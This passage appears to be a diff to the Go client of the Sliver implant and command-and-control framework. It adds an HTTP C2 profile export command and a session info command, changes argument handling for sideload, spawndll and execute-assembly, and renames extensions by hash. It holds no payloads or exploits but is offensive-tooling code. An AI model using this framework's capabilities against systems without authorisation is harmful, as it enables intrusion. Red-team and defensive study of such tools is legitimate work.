selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
|
||||
return
|
||||
}
|
||||
end, err := strconv.Atoi(rangeParts[1])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
|
||||
return
|
||||
}
|
||||
// Adjust for the 0 indexed slice we are working with
|
||||
start -= 1
|
||||
end -= 1
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
if start > end {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
if end >= len(updateKeys) {
|
||||
end = len(updateKeys) - 1
|
||||
}
|
||||
|
||||
for i := start; i <= end; i++ {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[i])
|
||||
}
|
||||
} else {
|
||||
// Single entry
|
||||
index, err := strconv.Atoi(selection)
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
index -= 1
|
||||
if index >= 0 && index < len(updateKeys) {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[index])
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -123,6 +123,169 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(filepath, jsonProfile, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Println(profileName, "C2 profile exported to ", filepath)
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
MaxFiles: int(profile.ImplantConfig.MaxFiles),
|
||||
MinFiles: int(profile.ImplantConfig.MinFiles),
|
||||
MaxPaths: int(profile.ImplantConfig.MaxPaths),
|
||||
MinPaths: int(profile.ImplantConfig.MinFiles),
|
||||
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
|
||||
PollFileExt: profile.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
headers = append(headers, assets.NameValueProbability{
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
})
|
||||
}
|
||||
implantConfig.Headers = headers
|
||||
|
||||
var urlParameters []assets.NameValueProbability
|
||||
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
|
||||
urlParameters = append(urlParameters, assets.NameValueProbability{
|
||||
Name: urlParameter.Name,
|
||||
Value: urlParameter.Value,
|
||||
Probability: int(urlParameter.Probability),
|
||||
})
|
||||
}
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
stagerFiles []string
|
||||
pollFiles []string
|
||||
sessionFiles []string
|
||||
closeFiles []string
|
||||
stagerPaths []string
|
||||
pollPaths []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, pathSegment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, pathSegment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, pathSegment.Value)
|
||||
case 3:
|
||||
stagerFiles = append(stagerFiles, pathSegment.Value)
|
||||
}
|
||||
} else {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, pathSegment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, pathSegment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, pathSegment.Value)
|
||||
case 3:
|
||||
stagerPaths = append(stagerPaths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
implantConfig.PollFiles = pollFiles
|
||||
implantConfig.SessionFiles = sessionFiles
|
||||
implantConfig.CloseFiles = closeFiles
|
||||
implantConfig.StagerFiles = stagerFiles
|
||||
implantConfig.PollPaths = pollPaths
|
||||
implantConfig.SessionPaths = sessionPaths
|
||||
implantConfig.ClosePaths = closePaths
|
||||
implantConfig.StagerPaths = stagerPaths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, assets.NameValueProbability{
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
|
||||
serverConfig := assets.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
config := assets.HTTPC2Config{
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
|
||||
jsonConfig, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return jsonConfig, nil
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ import (
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
ImportC2ProfileCmd := &cobra.Command{
|
||||
importC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ImportC2ProfileStr,
|
||||
Short: "Import HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
|
||||
@@ -22,12 +22,26 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
ImportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind(consts.ImportC2ProfileStr, false, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
|
||||
exportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ExportC2ProfileStr,
|
||||
Short: "Export HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2ProfileStr,
|
||||
Short: "Display C2 profile details",
|
||||
@@ -44,7 +58,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(importC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
|
||||
|
||||
return []*cobra.Command{
|
||||
C2ProfileCmd,
|
||||
|
||||
@@ -95,7 +95,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Arguments: assemblyArgs,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
|
||||
@@ -64,7 +64,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || hidden || ppid != 0 {
|
||||
if session.OS != "windows" {
|
||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -39,8 +39,16 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) < 1 {
|
||||
cmd.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
binPath := args[0]
|
||||
binArgs := strings.Join(args[1:], " ")
|
||||
var binArgs []string
|
||||
if len(args) > 1 {
|
||||
binArgs = args[1:]
|
||||
}
|
||||
|
||||
entryPoint, _ := cmd.Flags().GetString("entry-point")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
@@ -57,7 +65,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: binArgs,
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -38,7 +37,10 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
binPath := args[0]
|
||||
dllArgs := strings.Join(args[1:], " ")
|
||||
var dllArgs []string
|
||||
if len(args) > 1 {
|
||||
dllArgs = args[1:]
|
||||
}
|
||||
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
exportName, _ := cmd.Flags().GetString("export")
|
||||
|
||||
@@ -40,11 +40,11 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
@@ -67,12 +67,14 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
forceRemoveAll(minstallPath)
|
||||
}
|
||||
@@ -94,7 +96,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
if isGz {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path)
|
||||
} else {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
@@ -106,7 +108,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
@@ -119,7 +121,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
}
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error {
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -21,6 +21,8 @@ package extensions
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -84,7 +86,9 @@ type ExtensionManifest struct {
|
||||
|
||||
ExtCommand []*ExtCommand `json:"commands"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtCommand struct {
|
||||
@@ -137,13 +141,13 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
for _, extCmd := range manyfest.ExtCommand {
|
||||
for _, extCmd := range manifest.ExtCommand {
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
@@ -180,7 +184,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
|
||||
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
ret := &ExtensionManifest{
|
||||
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
|
||||
Name: old.CommandName, //treating old command name as the manifest name to avoid weird chars mostly
|
||||
Version: old.Version,
|
||||
ExtensionAuthor: old.ExtensionAuthor,
|
||||
OriginalAuthor: old.OriginalAuthor,
|
||||
@@ -211,7 +215,9 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
|
||||
//maybe it's an old manifest
|
||||
log.Println(err)
|
||||
if err != nil {
|
||||
log.Printf("extension load error: %s", err)
|
||||
}
|
||||
oldmanifest := &ExtensionManifest_{}
|
||||
err := json.Unmarshal(data, &oldmanifest)
|
||||
if err != nil {
|
||||
@@ -372,6 +378,17 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
depLoaded = true
|
||||
}
|
||||
}
|
||||
//check if the file suffixes are the same (should only be relevant to the same extension package), and don't load the file if it's already there
|
||||
extN := loadedExtensions[cmd.Name()]
|
||||
if extN != nil {
|
||||
//confirm we haven't already loaded the file
|
||||
for _, extf := range extN.Files {
|
||||
if strings.HasSuffix(binPath, extf.Path) {
|
||||
//file already exists, no need to load it
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
@@ -397,9 +414,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
|
||||
func registerExtension(goos string, _ *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
@@ -499,8 +519,14 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
extdata, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext read file error: %s\n", err)
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
@@ -543,7 +569,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
|
||||
}
|
||||
}
|
||||
|
||||
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
|
||||
@@ -188,6 +188,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("overwrite", "o", false, "overwrite file if it exists")
|
||||
})
|
||||
carapace.Gen(uploadCmd).PositionalCompletion(
|
||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -332,7 +331,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout")
|
||||
f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
|
||||
// Limits
|
||||
f.StringP("limit-datetime", "w", "", "limit execution to before datetime")
|
||||
|
||||
@@ -22,7 +22,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -38,7 +38,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error {
|
||||
func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error {
|
||||
days, _ := cmd.Flags().GetInt64("days")
|
||||
hours, _ := cmd.Flags().GetInt64("hours")
|
||||
minutes, _ := cmd.Flags().GetInt64("minutes")
|
||||
|
||||
@@ -1009,24 +1009,12 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -1042,12 +1030,8 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool {
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
@@ -1083,7 +1067,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCli
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) {
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -20,7 +38,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
for name := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
|
||||
@@ -20,8 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -56,7 +54,3 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func buildImplantName(name string) string {
|
||||
return strings.TrimSuffix(name, filepath.Ext(name))
|
||||
}
|
||||
@@ -64,7 +64,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -97,5 +97,18 @@ func SliverCommands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd}
|
||||
infoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "Get session info",
|
||||
Long: help.GetHelpFor([]string{consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
InfoCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.InfoHelpGroup,
|
||||
}
|
||||
flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd, infoCmd}
|
||||
}
|
||||
+48
-26
@@ -35,7 +35,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -268,14 +267,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
@@ -295,13 +286,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintErrorf("Active session disconnected")
|
||||
}
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.RemoveImplant(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator", session.Name)
|
